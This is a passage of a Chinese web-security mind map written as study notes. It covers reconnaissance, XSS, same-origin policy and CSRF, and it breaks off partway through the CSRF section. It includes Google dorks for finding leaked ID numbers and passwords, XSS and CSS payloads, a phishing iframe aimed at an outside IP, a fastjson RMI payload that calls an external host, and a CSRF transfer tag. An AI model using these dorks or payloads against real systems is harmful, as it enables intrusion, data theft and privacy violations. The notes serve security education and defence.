导图社区 网络安全
这是一篇关于苦逼网安人的思维导图,主要内容包括:应急响应,代码审计,工具使用,Linux,理论知识,web安全。
编辑于2024-05-07 09:57:52苦逼网安人
web安全
信息收集
信息收集思路
网络空间测绘引擎
Google Hacker
Fofa
Hunter(奇安信鹰图)
主动信息收集
子域名探测
网站架构
服务器类型
网站服务组件和脚本类型
CMS 安装检测
防火墙识别
旁注和C段
旁站简介
C段简介
子域名
搜索方法
目录扫描
端口扫描
CDN识别与绕过
敏感信息收集
漏洞扫描
CMS 识别
Top10漏洞
XSS
简述XSS
XSS分类
XSS可能存在的地方
XSS的危害(可以干什么)
XSS payload
XSS测试方法
XSS绕过
XSS防御
同源策略
CSRF
CSRF简介
Cookie简介
利用过程
测试方法
防范方法
SSRF
ssrf简介
ssrf漏洞危害
绕过方法
利用方法
防范方法
ssrf与XSS、csrf的区别
XXE
XML简介
XXE介绍
XXE注入利用步骤
XXE攻击分类
XXE的危害
防御方法
HttpOnly
注入
注入攻击概述
SQL注入
SQL注入介绍
SQL注入的原理
SQL注入的检测方法
注入的分类
注入可能存在的地方
各种类型数据库注入方法
Access 数据库
MsSQL 数据库
MySQL 数据库
注入防御
PDO 预处理 和 java预编译
伪静态和Cookie
CRLF注入
简介
原理
危害
挖掘方法
payload
防御方法
文件上传与文件下载
文件上传
简介
常见的检测及绕过方法
不回显文件保存路径的利用思路
安全防范
文件下载
漏洞介绍
存在的位置
利用思路
常见利用路径
漏洞修复
文件包含
成因
包含漏洞的分类
文件包含的函数
伪协议
包含漏洞能做什么
防范方法
认证与会话管理
简介
Session与认证
Session固定攻击
Session保持攻击
单点登录SSO
IAM
登录页面测试
访问控制(越权)
简介
未授权
简介
常见漏洞
越权
概述
越权分类
常见逻辑漏洞
如何挖掘逻辑漏洞
防范越权
加密算法与随机数
加密算法概述
加密算法分类
加密模式分类
填充方式
常见加密算法
AES
国密算法
简介
各算法的区别
SM2
密钥管理
暴力破解
反序列化
反序列化简介
反序列化漏洞产生的原理
反序列化漏洞试验
安全防范
命令执行
命令执行概述
Web框架引起的
Web Server 配置引起的
PHP 安全
Apache
中间件及组件漏洞
Apache
RCE
Log4j2
Shiro-721
solr RCE
反序列化
Shiro-550 java反序列化
解析漏洞
目录遍历
Tomcat
Tomcat 简介
任意写文件
AJP 文件包含漏洞
弱口令文件上传 war 包
Jboss
反序列化
Weblogic
反序列化
SSRF
弱口令
IIS
PUT 漏洞
短文件名猜解
解析漏洞
RCE 远程代码执行
Redis
Redis 简介
Redis 未授权访问
Redis 输入密钥免密登录ssh
远程主从复制RCE
本地 Redis 主从复制 RCE 反弹shell
安全防护
Struts2
s2-001 命令执行
s2-005 命令执行
s2-007 命令执行
s2-008
fastjson
反序列化
Spring Cloud
Spring Cloud简介
SpEL 远程代码执行漏洞
其他的漏洞
ARP欺骗
ARP协议简介
漏洞详情
漏洞利用
防御措施
DDOS攻击
简介
详细原理
防御方法
JWT越权
JWT 简介
JWT 简介
JWT 构成
JWT 支持的加密算法
签名的生成
漏洞详情
漏洞利用
漏洞修复
svn 源码泄露漏洞
SVN 介绍
漏洞原理
漏洞利用
漏洞修复
CSV注入(DDE)
漏洞详情
漏洞原理
漏洞利用
修复建议
理论知识
SDL(软件开发生命周期模型)
微软SDL
IT项目管理的七个阶段
SDL 实战经验准则
漏洞报告包括什么
漏洞分级
国内
高危
中危
低危
国外
P1
P2
P3
P4
网络通讯
应急响应
溯源
上机排查
攻击手段溯源
Linux
快捷键
操作命令
软件包
配置源及更新软件包
lrasa (文件传输)
tree (显示目录结构)
VIM
apt(软件包管理器)
yum(软件包管理器)
常用命令
查看信息类
安全相关
lastlog
grep
chattr (文件加锁)
MD5sum
系统信息
网络相关
ifconfig / ip route / netstat -rm
系统相关
which / uname -a / history / hostname
用户相关
last / lastlog / whoami / id
文件相关
查看文件内容
cat / less / more
查看文件前几行
head / head -n
查看文件后几行
tail / tail -n /tail -f
文件信息
ls / stat / pwd / wc -l / cd
文件内容过滤
grep -v / -i / -n / -w / - E
搜索
find / which
用户信息
id / whoami / w / last /lastlog
状态控制类
网络相关
ifup / ifdown / systemctl restart network /nmtui
账号控制
useradd / userdel / usermod / passwd / sudo / su / visudo
系统控制
shutdown / poweroff / reboot / shutdown -r now / init 6
编辑类
批量操作
命令后+ 文件名/文件夹名{1..n}
对 文件名/文件夹名{1..n} 执行命令
删除
rm -f / -r / -rf
创建文件、文件夹
touch / mkdir
执行文件
./文件名
执行文件(. 代表执行 / 代表当前目录
更改文件属性
chown
更改目录
cd(change directory)
复制文件或目录
cp
移动文件或目录
mv
写入文本到指定文件
echo
输入数字序列到指定文件
seq n >文件名
输入1-n 的数列到指定文本,每行一个数字
分组
xargs -n N <文件名
将文件中的内容按N个一组的方式进行分组
文件权限更改
chmod
打包压缩
tar / unzip / gzip
MySQL常用命令
图形化数据库管理工具
库级操作
表级操作
查询数据
数据导入导出
工具使用
信息收集
Dirsearch
Nmap(kali)
masscan
cewl(kali)
文件分析
Wireshark
漏洞利用
Sqlmap
MSF(kali)
Python(kali)
内网工具
NC(kali)
密码爆破
hydra(kali)
漏洞扫描
Xray
代码审计
代码审计工具
危险组件检测
JAVA
命令执行
runtime()
ProcessBuilder()
PHP
命令执行
简介
命令执行的相关函数
函数详解
信息收集
信息收集思路
拿到资产后确定资产主体的官网和域名,然后通过被动收集的方式,确定网络范围内的目标,并收集一些必要的人员信息(如:工号、学号等),然后筛选出重点渗透目标,再针对性的进行主动信息收集
被动信息收集:指的是通过搜索引擎(Google Baidu) 或 空间测绘引擎(FOFA、鹰图)这类的第三方服务对目标进行信息收集
主动信息收集:指的是直接通过各种工具扫描对方的主机或网站,但这种方式会被对方记录操作信息
收集的信息包括但不限于:目标主机的IP DNS 信息、子域名、旁站和C站、CMS信息、敏感目录、端口信息、操作系统版本、服务器和中间件信息、邮箱、人员信息(工号、学号、身份证号等可能构成登录账号的信息)
网络空间搜索引擎
Google Hacker
常用语句
身份证泄露
intext:身份证 学院 -site:edu.cn -site:gov.cn filetype:xls
账号密码泄露
site:gitee.com filetype:txt intext:账号
敏感信息泄露
intitle:“Index of /admin”
intitle:“Index of /root”
intitle:“Index of /” +password.txt
intitle:phpinfo()或者inurl:phpinfo.php
后台管理页面泄露
site:www.baidu.com inurl:admin
intitle:后台管理 inurl:admin
site:xx.com intext:管理|后台|登陆|用户名|密码|系统|账号|admin|login|sys|managetem|password|username
登录页面搜索
site:www.baidu.com intext: 验证码
查找sql注入
inurl:.php?id=23 公司
查找上传点
site:xx.com inurl:file| uploadfile
语法
intext
搜索页面中的内容
intext: 关键词
intitle
搜索标题中的内容
intitle: 关键词
inurl
查找含有关键词的url(allinrul类似)
inurl:关键词
site
返回含有关键词的所有域名
site:edu.cn
-site:gov.cn
allintitle
同 intitle 只是allintitle可以搜索多个关键词,intitle 只能搜索一个
allintitle: 关键词 关键词
filetype
查找文件类型
filetype: 文件扩展名 (doc xls等)
info
查询站点信息
info:baidu.com
运算符
- (非)
A-C:有A但是没有C的网页
+
"xxx"+baidu.com 搜索xxx与baidu.com相关的内容
"" (引号)
表示完全匹配,即关键词不能分开,顺序也不能变
OR "|" (或)
AORB,有A或B的网站
and "," "空格"(且)
AandB,有A且有B的
通配符
google通配符:*表示一连串字符,?表示单个字符(?前后的字符串被视作两个单词,指两个单词之间可以插入一个单词),用通配符时要将引号将关键词括起来
Fofa
语法
title
在标题中搜索xxx
title="管理"
header
在HTTP头搜索xxx
header="utf-8"
body
在正文中搜索xxx
body="管理"
domain
搜索带有根域名的网站
domain="qq.com"
host
搜索带有xxx的网站
host="login"
port
搜索指定端口
port="8080"
port="8080,3306" 同时开放8080和3306的网站
ip
从IP中搜索带有x.x.x.x的网站,也可以查网段
ip="12.12.12.12"
ip="12.12.12.0/24"
icp
查找备案号为“xxx”的网站
icp="京ICP证030173号"
icon_hash
搜索使用此图标的资产
icon_hash="-247388890"
country
搜索指定国家(编码)的资产
country="CN"
region
搜索指定行政区的资产
region="Xinjiang"
city
搜索指定城市的资产
city="Ürümqi"
cert
搜索证书(https或者imaps等)中带有baidu的资产
cert="baidu"
逻辑符
&&
逻辑与
||
逻辑或
==
精确匹配
!=
不包含
Hunter(奇安信鹰图)
语法
web
web.body="网络空间测绘"
搜索网站正文包含”网络空间测绘“的资产
web.title="北京"
从网站标题中搜索“北京”
web.similar_icon=="17262739310191283300"
查询网站icon与该icon相似的资产
web.icon="22eeab765346f14faf564a4709f98548"
查询网站icon与该icon相同的资产
web.similar_id="3322dfb483ea6fd250b29de488969b35"
查询与该网页相似的资产
web.similar="baidu.com:443"
查询与baidu.com:443网站的特征相似的资产
app
app="海康威视 Hikvision Firmware 5.0+"&& ip.ports="8000"
设备搜索且开放 8000的资产
app.name="小米 Router"
搜索标记为”小米 Router“的资产
app.vendor="PHP"
查询包含组件厂商为”PHP”的资产
app.version="1.8.1"
查询包含组件版本为”1.8.1″的资产
protocol
protocol="http"
搜索协议为”http“的资产
protocol.transport="udp"
搜索传输层协议为”udp“的资产
protocol.banner="nginx"
查询端口响应中包含”nginx”的资产
domain=""
搜索子域名
icp
icp.web_name="奇安信"
查询ICP备案网站名中带有 奇安信 的资产
icp.type="企业"
搜索ICP备案主体为“企业”的资产
icp.name="奇安信"
搜索ICP备案单位名中含有“奇安信”的资产
icp.number="京ICP备16020626号-8"
搜索通过域名关联的ICP备案号为”京ICP备16020626号-8”的网站资产
header
header="elastic"
搜索HTTP请求头中含有”elastic“的资产
header.status_code="402"
搜索HTTP请求返回状态码为”402”的资产
header.server=="Microsoft-IIS/10"
搜索server全名为“Microsoft-IIS/10”的服务器
header.content_length="691"
搜索HTTP消息主体的大小为691的网站
ip
ip=”1.1.1.1″ 搜索IP为 ”1.1.1.1”的资产
ip=”220.181.111.1/24″ 搜索起始IP为”220.181.111.1“的C段资产
ip.port_count>”2″ 搜索开放端口大于2的IP(支持等于、大于、小于)
ip.ports=”80″ && ip.ports=”443″ 查询开放了80和443端口号的资产
ip.port=”6379″ 搜索开放端口为”6379“的资产
ip.isp=”电信” 搜索运营商为”中国电信”的资产
ip.country=”CN” 或 ip.country=”中国” 搜索IP对应主机所在国为”中国“的资产
ip.province=”江苏” 搜索IP对应主机在江苏省的资产
ip.city=”北京” 搜索IP对应主机所在城市为”北京“市的资产
ip.os=”Windows” 搜索操作系统标记为”Windows“的资产
主动信息收集
子域名探测
DNS域传送漏洞
漏洞原理
DNS协议支持使用axfr类型的记录进行区域传送,用来解决主从同步的问题。如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源,将会导致DNS域传送漏洞,暴露目标在dns上的记录
漏洞利用
可以通过dig命令发送axfr类型的DNS请求,获取目标域名在目标DNS服务器上的子域名记录 dig @DNSip -t axfr http://vulhub.org
备案号查询
通过查询主域名所属企业的备案号,再通过备案号反查相关域名 相关网址有:http://www.beianbeian.com 也可通过FOFA、鹰图的 icp 语法查询
SSL证书查询
通过查询主域名的SSL证书,关联出子域名 相关网址有:https://myssl.com/ssl.html http://csr.chinassl.net/ssl-checker.html
APP提取
通过AcdroidKiller反编译,里面可以查找相关公司域名和ip地址信息
工具收集
Layer子域名挖掘机
输入需要查询的域名,点击开始,就能开始进行搜索,能够返回对应的子域名、IP地址、CDN列表、WEB服务器信息
https://download.csdn.net/download/qq_39520157/22004791
在线扫描器
http://z.zcjun.com/
kali fierce 工具
fierce --domain baidu.com
DNS历史解析
https://nosec.org/my
https://www.dnsdb.io
第三方网站查询
intitle="公司名称"
百度
intitle="公司名称"
FOFA
title="公司名称"
威胁情报查询
华为 360 微步在线
网站架构
服务器类型
nmap -A -v -T4 IP
网站服务组件和脚本类型
工具
whatweb
浏览器插件
Wappalyzer
CMS 安装检测
CMS 简介
CMS 就是一个内容管理系统,允许用户将内容直接发布到 web 的接口,比如 WordPress、dedecms、drupal
利用
判断出 CMS 类型可以直接搜索历史漏洞进行攻击
工具
onlinetools
Finger
在线网站
云悉指纹
https://www.yunsee.cn/
需要会员,付费
潮汐指纹
http://finger.tidesec.net/
也不好用了,登不上
浏览器插件
Wappalyzer
防火墙识别
kali
nmap -p 80 --script http-waf-detect.nse 域名
WAFW00F 域名
WAFW00F是kali内置的一款探测目标防火墙信息的工具
旁注和C段
旁站简介
旁站就是旁边的站点,他们不一定和目标是同一家公司的,但他们在同一个服务器上,可以通过判断他们和目标的IP地址是否相同来判断。 当我们对主站无计可施的时候可以看看旁站能不能拿下,从而通过旁站的 webshell 去提权 最后拿下主站
C段简介
C段就是IP地址 /24 下的所有IP,比如 1.1.1.1-255 就是一个 C 段的
子域名
子域名一般指三级域名以及以上,他们一定是一家公司的,比如 a.baidu.com 和 b.baidu.com
搜索方法
Nmap扫描C段
在线网站
站长之家
http://www.webscan.cc
工具
onlinetools
可以通过网址查询旁站和C段
目录扫描
御剑目录扫描器
配置字典之后(可以自行百度御剑字典),输入域名,然后设置好线程数以及超时时间即可扫描
7kbstorm
使用方法:在扫描目录输入目标域名,点击开始即可
kali dirb
Dirb是一款基于字典的Web目录扫描工具。该工具能根据用户的字典对目标网站进行扫描
dirb http://192.168.56.149:1898/ -w
-w 递归扫描
端口扫描
nmap
Zenmap
Zenmap是Nmap官方提供的图形界面版本
安装连接:https://nmap.org/download.html
CDN识别与绕过
CDN识别
多地ping确认是否使用CDN
http://ping.chinaz.com/
http://ping.aizhan.com/
CDN绕过
查询历史CDN记录
查询可能在同一服务器下的子域名
网络空间引擎搜索
使用国外主机解析域名
敏感信息收集
Web源代码泄露(7KB 破壳)
.hg 源代码泄露
.git 源代码泄露
cvs 源代码泄露
svn 源代码泄露
.DS_store 文件泄露
网站备份文件泄露: rar、zip、tar.gz、7z、bak、tar
github 信息泄露
Google hack
接口信息泄露
社工信息泄露
邮箱地址信息收集
相关网站查询
公司历史漏洞查找:乌云、漏洞银行、360补天
网盘搜索、钟馗之眼、天眼查、威胁情报、微步在线、Google
漏洞扫描
漏洞扫描前的注意事项
并发连接数
扫描线程数
弱口令扫描
扫描规则、扫描时间、扫描范围
Web扫描
AWVS、APPSCAN、Netspark、Xray、绿盟的WVSS、安恒的明鉴
系统扫描
启明星辰—天镜、绿盟—极光、Nessus
Nmap(端口扫描)
其它工具
Burp
APP漏洞扫描
梆梆安全、360、爱加密
cms 识别
fastjson
由于 fastjson 的数据需要遵守严格的 json 格式,所以可以通过修改数据包格式,再放包看报错信息里是否含有 fastjson 字样来判断
可以通过后面的 payload 判断 fastjson 的版本信息
Set[ { "@type":"java.net.URL", "val":"http://dnslog" } ]
对于不回显报错可以使用 dnslog 验证
{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://dnslog.cn/zcc", "autoCommit":true } }
Struts2
看URL后缀是不是 .action 后缀
Struts
URL 后缀是 .do 后缀
但是注意 .do 也可能是 Spring MVC
Spring Cloud
在浏览器中查看网站的请求和响应消息头, 是否出现了Spring Cloud相关的信息 如"x-application-context"、"x-config-token"等
XSS
简述xss
XSS介绍
XSS全称(Cross Site Scripting)跨站脚本攻击,为了和层叠样式表(Casacding Style Sheet,CSS)区别,所以在安全领域叫XSS。 XSS攻击通过将恶意的Script代码注入到Web页面中,当用户浏览该页面时,嵌入Web页面中的Script代码被执行,从而达到恶意攻击用户的目的。
XSS属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着XSS可以进行“服务端”攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一般也是靠管理员身份作为“跳板”进行实施攻击。 XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言
XSS漏洞出现的原因
程序对参数输入和输出的控制不够严格,导致攻击者"精心构造“的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害
XSS本质上就是一段 js 代码,js可以做到的东西它都可以做到
攻击对象
被攻击者的浏览器 用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然后浏览器不会判断代码是否是恶意的,也就是说XSS的对象时用户的浏览器
XSS分类
如何判断是那种类型
发送一次带有XSS Payload 的请求
如果只有当前返回的数据包里发现XSS代码,就是反射性
如果后续这个页面也都有XSS代码,就是存储型
如果返回包里没有XSS代码,但是有弹窗,就是DOM型
反射型XSS
交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。 也就意味着黑客需要诱导用户"点击"一个恶意链接,才能攻击成功
储存型XSS
交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性
DOM XSS
这一类型XSS并非按照"数据是否保存在服务器"来划分的,从效果上看DOM型也是反射性的。 它不与后台服务器产生数据交互,而是通过修改前端的DOM节点形成的XSS漏洞
DOM (Document Object Model) 文档对象模型,是一套操作 html 和 xml 的标准API (应用程序编程接口),DOM 将文档内容呈现在 Javascript 面前,赋予了 JavaScript操作文档的能力
XSS可能存在的地方
GET 型URL中提交参数值,在页面中显示的
POST 型表单中提交的参数值,在页面中显示的
JSON 数据中提交的键值对,在页面中显示的
XSS 的危害
Cookie劫持
攻击者可以冒充普通用户或管理员的身份登录后台,是攻击者具有恶意操作网站后台的能力
通过script脚本获得cookie通常会用到 document.cookie
Http-Only 保证同一Cookie不被滥用
后台地址探测
利用 js 代码获取管理员页面的 URL 并反链到 XSS 平台
xss 钓鱼
利用JavaScript在当前页面“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送到黑客的服务器
'"<iframe src=http://192.168.1.13/1.asp></iframe>
获取用户浏览器信息
JavaScript脚本通过XSS读取浏览器的UserAgent对象来识别浏览器的版本。alert(navigator.userAgent)
通过JavaScript脚本区分浏览器之间的实现差异
window.location.href
该代码将返回当前页面的完整 URL(包括协议、域名、端口号、路径和查询参数等)
document.cookie
获取当前用户 cookie
获取用户电脑的真实IP
XSS攻击框架“AttackAPI”中,有一个获取本地IP的API
利用JAVA获取本地网络信息的API
传播蠕虫病毒
2003年的冲击波蠕虫,利用的是Windows的RPC远程溢出漏洞
2005年的Samy Worm(蠕虫),通过控制 style属性和"拆分法"绕过敏感词javascript、onreadystatechange等,通过AJAX完成添加用户名,同时赋值蠕虫自身并传播的功能
2007年百度空间蠕虫
挂马
先将恶意攻击代码嵌入到Web应用程序中,当用户浏览该网页时,用户的计算机会被植入木马
制作一个木马服务器。存在特定漏洞的用户一旦通过浏览器访问木马服务器,就会缓冲区溢出,从而攻击者可以直接获取用户的系统Shell
执行弹窗广告
通过<iframe>等标签来实现弹窗
刷流量
<script>window.location.href="http://www.baidu.com";</script>
XSS payload
window.location.href
该代码将返回当前页面的完整 URL(包括协议、域名、端口号、路径和查询参数等)
document.cookie
获取当前用户 cookie
<script>alert('XSS');</script>
最简单的 JavaScript 弹窗。
<img src="#" onerror="alert('XSS');">
使用 img 标签中的 onerror 事件触发 JS 弹窗。
<svg onload=alert('XSS')>
SVG 标签也可以被滥用来触发 XSS。
"><script>alert('XSS')</script>
类似 SQL 注入,输入一个字符然后在此字符串内完成攻击。
'onmouseover='alert("XSS")
利用 HTML 属性唤起 onMouseOver 事件触发 JS 弹窗。
javascript:alert('XSS')
在 href 中植入 JS 代码,生成一个具有 XSS 潜质的超链接
XSS测试方法
工具
APPscan、AWVS、Burpsuite 等
半自动化工具
Burpsuite、firefox(hackbar)、XSSER XSSF等
手工
最重要的是考虑那里有输入,输入的数据在什么地方输出
XSS绕过
长度限制绕过
前端限制
如:对输入字符长度进行了限制——直接在检查里边修改输入字符长度即可
后端限制
20字节payload
" onclick=alert(1)//
注释绕过长度限制
如果可以控制两个文本框,第二个文本框允许写入更多的字节,这时可以使用HTML的注释符"<!-- -->"打通两个<input>标签
大小写混合/双写
拼凑绕过
利用字符编码
使用事件属性 onerror() 如:<img src=# onerror="alert('123')"/>
使用HTML进行编码
编码组合
如之前的百度有一个漏洞是因为对输出中的引号" 进行了转译,正常来说这里是没有漏洞的,但是由于它的返回页面是 GBK/GB2312 编码的,所以 "%c1\" 组合在一起就会形成一个 Unicode 字符,在火狐中会认为这是一个字符,所以构建如下 payload 即可绕过转译
#c1";alert(/XSS/);//
htmlspecialchars()函数
htmlspecialchars()函数的作用
& (和号)成为 & " (双引号)成为 " ’ (单引号)成为' < (小于)成为 < >(大于)成为 >
htmlspecialchars()函数配置参数
可用的quotestyle类型: ENT_COMPAT - 默认。仅编码双引号 (可绕过) ENT_QUOTES - 编码双引号和单引号(a标签可绕过) ENT_NOQUOTES - 不编码任何引号
XSS防御
HttpOnly
作用
浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie
严格地说,HttpOnly 并非对抗XSS,而是解决XSS后的Cookie劫持
可以在 F12 的 application 的 cookie 的右侧窗口看到 HttpOnly 如果它的下面有 √ ,就说明设置了 httponly
效果
Cookie的使用过程
step1:浏览器向服务器发起请求,这是没有Cookie
step2:服务器返回时发送Set-Cookie头,向客户端浏览器写入Cookie,HttpOnly就是这个时候写入到Cookie中的。
step3:在该Cookie到期前,浏览器访问该域下的所有页面,都将发送该Cookie
服务器可能会设置多个Cookie(键值对),而HttpOnly可以有选择性的加在任何一个Cookie上。 这时应用可能需要JavaScript访问某几项Cookie,这种Cookie可以不设置HttpOnly标记,仅对用于认证的关键Cookie加上HttpOnly标记
<?php header("Set-Cookie: cookie1=test1;"); header("Set-Cookie: cookie2=test2;httponly",false); ?> 以上cookie1没有HttpOnly标记,cookie2有
输入检查
XSS Filter
检查用户输入的数据中是否包含一些特殊字符,如 "<"、">"、"‘"、" " "等,如果发现特殊字符,则将这些字符过滤或者编码
匹配XSS特征,如 "<script>"、"javascript"、"document.cookie"等敏感字符
输入检查的逻辑必须放在服务器上,只在客户端使用 Javascript 进行输入检查是很容易被绕过的。 目前普遍的做法是,同时在客户端JavaScript中和服务端代码中实现相同的输入检查。客户端的输入检查可以阻挡大部分误操作的正常用户,从而节约服务器资源,毕竟正常用户不会去考虑如何进行前端绕过。
输出检查
安全的编码函数
PHP
可以使用HtmlEncode编码,它并非专有名词,它只是一种函数实现。它的作用是将字符转换成 HTMLEntities,对应的标准是 ISO-8859-1
htmlentities()和htmlspecialchars()两个函数可以满足字符转换需要
& --> @amp;
< --> @lt;
> --> @gt;
" --> @quot;
' --> @#x27;
/ --> @#x2F;
包含反斜线是因为它可能会闭合一些HTML entity
JavaScript
可以使用JavaScriptEncode,它与HTMLEncode的编码方式不同,它需要使用 "\" 对特殊字符进行转义。在对抗XSS时,还要求输出的变量必须在引号内部,以避免造成安全问题
可以使用 escapeJavascript()函数,实现方法如下
var x = '"' + escapeJavascript($evil) + '"';
XMLEncode
与HtmlEncode相似
JSONEncode
与JavascriptEncode相似
需要注意的是,编码后的数据长度可能会发生改变,从而影响某些功能。在写代码的时候需要注意这个细节,以免产生不必要的bug
根据输出位置进行解决
XSS的本质还是一种 "HTML注入",用户的数据被当成了HTML代码的一部分来执行,从而混淆了原本的语义,产生了新的语义。 如果网站使用了MVC架构,那么XSS就发生在View层——在应用拼接变量到HTML页面时产生。 所以要根治XSS问题,可以列出所有XSS可能发生的场景,再一一解决
MVC架构指: View:视图,为用户提供使用界面,与用户直接进行交互。 Model:模型,承载数据,并对用户提交请求进行计算的模块。其分为两类: 一类称为数据承载 Bean:实体类,专门用户承载业务数据的,如 Student、User 等 一类称为业务处理 Bean:指 Service 或 Dao 对象,专门用于处理用户提交请求的。 Controller:控制器,用于将用户请求转发给相应的 Model 进行处理,并根据 Model 的计算结果向用户提供相应响应。
MVC 架构程序的工作流程: (1)用户通过 View 页面向服务端提出请求,可以是表单请求、超链接请求、AJAX 请求等 (2)服务端 Controller 控制器接收到请求后对请求进行解析,找到相应的 Model 对用户请求进行处理 (3)Model 处理后,将处理结果再交给 Controller (4)Controller 在接到处理结果后,根据处理结果找到要作为向客户端发回的响应 View 页面。页面经渲染(数据填充)后,再发送给客户端。
在HTML标签中输出
可以使用 HTMLEncode 防御的
源码
<div>$var</div> <a href=#>$var</a>
payload
<script>alert(/XSS/)</script>
> <img src=# onerror=alert(1) />
混淆后的语义
<div><script>alert(/XSS/)</script></div> <a href=#><img src=# onerror=alert(1) /></a>
在HTML属性中输出
可以使用 HTMLEncode 防御的
源码
<div id="abc" name="$var"></div>
payload
"><script>alert(/xss/)</script><"
混淆后的语义
<div id="abc" name=""><script>alert(/xss/)</script><""></div>
在<script>标签中输出
可以使用 JavaScriptEncode 防御的
源码
<script> var x = "$var"; </script>
payload
";alert(/xss/);//
混淆后的语义
<script> var x = "";alert(/xss/);//"; </script>
在事件中输出
可以使用 JavaScriptEncode 防御的
源码
<a href=# onclick="funcA('$var')">test</a>
payload
');alert(/xss/);//
混淆后的语义
<a href=# onclick="funcA('');alert(/xss/);//')">test</a>
在CSS中输出
一般来说,尽可能禁止用户可控制的变量在"<style>标签"、“HTML 标签的 style 属性”以及 “CSS文件”中输出。
如果一定有这样的需求,可以使用 OWASP ESAPI 中的encodeForCSS()函数
错误示例
<STYLE>@import 'http://ha.ckers.org/xss.css';</STYLE>
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<XSS STYLE="behavior: url(xss.htc);">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
正确写法
String safe = ESAPI.encoder().encodeForCSS(request.getParameter("input"));
原理
类似于 ESAPI.encoder().encodeForJavaScript(),函数,除了字母、数字外的所有字符都被编码成十六进制形式 "\uHH"
在地址中输出
用户只能控制URL的path(路径)或者search(参数)
可以使用URLEncode
源码
<a href="http://www.evil.com/?test=$var">test</a>
payload
" onclick=alert(1)"
混淆后的语义
<a href="http://www.evil.com/?test=" onclick=alert(1)"">test</a>
防御效果
<a href="http://www.evil.com/?test=%22%20onclick%3balert%281%29%22">test</a>
用户可以控制整个URL,此时URL的Protocal 和 Host部分是不能使用URLEncode的,会改变URL的语义
可以先检查变量是否以"http"开头(如果不是就自动添加),以保证不会出现伪协议类的XSS攻击; 之后再对变量进行URLEncode
伪协议类XSS
源码
<a herf="$var">test</a>
payload
JavaScript
javascript:alert(1);
dataURI
data:text/html;base64,alert(1)的base64编码
混淆后的语义
JavaScript
<a herf="javascript:alert(1);">test</a>
dataURI
<a herf="data:text/html;base64,alert(1)的base64编码">test</a>
DOM型XSS防御
由于DOM based XSS是从 javascript 中输出数据到HTML页面里的。而上述防御方法都是针对 "服务器应用直接输出到HTML页面" 的XSS漏洞,因此不适合DOM Based XSS
DOM Based XSS中,由于进行了两次输出过程(变量"$var" 到 <script>一次,从 script中document.writer()一次),所以需要分语境使用不同的编码函数
变量 $var --> script 时,应该执行一次 javascriptEncode; 在document.writer输出到 HTML 页面时分两种情况看待: 1.如果是输出到事件或脚本,则要再做一次javascriptEncode; 2.如果是输出到HTML内容或属性,则要做一次HtmlEncode
同源策略
什么是跨域
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
https://oldboyedu.com:80 http://oldboyedu.com:80 不同域
https://www.oldboyedu.com:80 https://vip.oldboyedu.com:80 不同域
https://oldboyedu.com:80 https://oldboyedu.com:85 不同域
同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象 那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
不受同源策略限制
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css
<iframe src="..."> //任意资源
同源策略修改
后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问
CSRF
CSRF简介
介绍
Cross site request forgery 跨站请求伪造 攻击者通过诱使用户访问其构造的恶意网站,并诱使用户在其中进行某些操作,就以该用户的身份在第三方网站(存在csrf的网站)完成了攻击者期望的恶意操作。 在利用的过程中需要受害者的浏览器保存着第三方网站的身份信息,如 cookie等 但CSRF攻击可以成功的本质是,重要操作的所有参数都是可以被攻击者猜测到的(但这几乎是不可避免的,因为攻击者可以已正常用户的身份去注册然后访问这个网站,从而拿到某个操作的报文)
CSRF原理
程序员开发的时候,未对相关页面进行token和REFERER判断,造成攻击者可构造自己的URL地址欺骗目标用户进行点击,而浏览器一般只会禁止发送第三方 Third-party Cookie ,而不会对 Session cookie 做限制,所以csrf利用的一般是 session cookie
CSRF分类
主要是根据参数的提交方法分类的,因为最初大多数CSRF攻击发起时,使用的使用的HTML标签都是<image>、<iframe>、<script>等带“src"属性的标签,这类标签只能够发起一次GET请求,而不能发起POST请求,所以有人认为将重要操作改成POST请求,就能防止CSRF攻击
Get型CSRF
只需要一个HTTP请求,就能构造一次 CSRF 攻击
利用
银行网站,只需要之后的请求就能完成转账操作
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
恶意网站,有以下HTML代码,一个无法显示的图片
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
Post型CSRF
服务器端未区分Get和Post
当一些重要操作并未严格地区分GET与POST,攻击者可以使用GET来请求表单的提交地址时,就可以伪造Post请求。比如PHP中,如果使用的是 $_REQUEST,而不是 $_POST获取变量,就会导致可以通过GET请求来提交表单参数
示例表单
<form action=" / register" id="register" method="post" > <input type=text name="username" value="" /> <input type=password name="password" value="" /> <input type=submit name="submit" value="submit" /> </form>
payload
可以构造如下Get请求,如果服务器端未对请求方法进行限制,那么这个请求就会通过
http: //host/register?username=test&password=passwd
服务器区分了Get和Post
